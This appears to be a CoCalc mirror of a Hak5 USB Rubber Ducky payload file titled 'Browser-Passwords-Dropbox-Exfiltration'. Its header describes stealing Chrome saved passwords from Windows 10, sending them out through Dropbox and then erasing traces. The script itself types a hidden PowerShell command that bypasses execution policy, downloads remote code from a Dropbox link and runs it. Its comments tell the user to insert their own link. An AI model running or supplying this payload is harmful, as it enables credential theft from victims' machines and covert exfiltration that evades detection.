Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/payload.txt
2968 views
1
REM #########################################################################################################

2
REM #                                                               |                                       #

3
REM # Title        : Browser-Passwords-Dropbox-Exfiltration         |   ____ _____   ______                 #

4
REM # Author       : DIYS.py                                        |  |  _ \_ _\ \ / / ___|  _ __  _   _   #

5
REM # Version      : 1.0                                            |  | | | | | \ V /\___ \ | '_ \| | | |  #

6
REM # Category     : Credentials, Exfiltration                      |  | |_| | |  | |  ___) || |_) | |_| |  #

7
REM # Target       : Windows 10                                     |  |____/___| |_| |____(_) .__/ \__, |  #

8
REM # Mode         : HID                                            |                        |_|    |___/   #

9
REM # Props        : I am Jakoby, NULLSESSION0X                     |                                       #

10
REM #                                                               |                                       # 

11
REM #########################################################################################################

12


13
REM Title: Browser-Passwords-Dropbox-Exfiltration

14
REM Author: DIYS.py

15
REM Description: Opens PowerShell hidden, grabs Chrome passwords, saves as a cleartext file and exfiltrates info via Dropbox.

16
REM              Then it cleans up traces of what you have done after.

17
REM Target: Windows 10 (PowerShell + Chrome)

18
REM Version: 1.0

19
REM Category: Credentials, Exfiltration

20


21


22
DELAY 3000

23
GUI r

24
DELAY 250

25
STRINGLN powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://< Your Shared link for the intended file>?dl=1; invoke-expression $pl

26


27
REM     Remember to replace the link with your DropBox shared link for the intended file to download

28
REM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly

29


30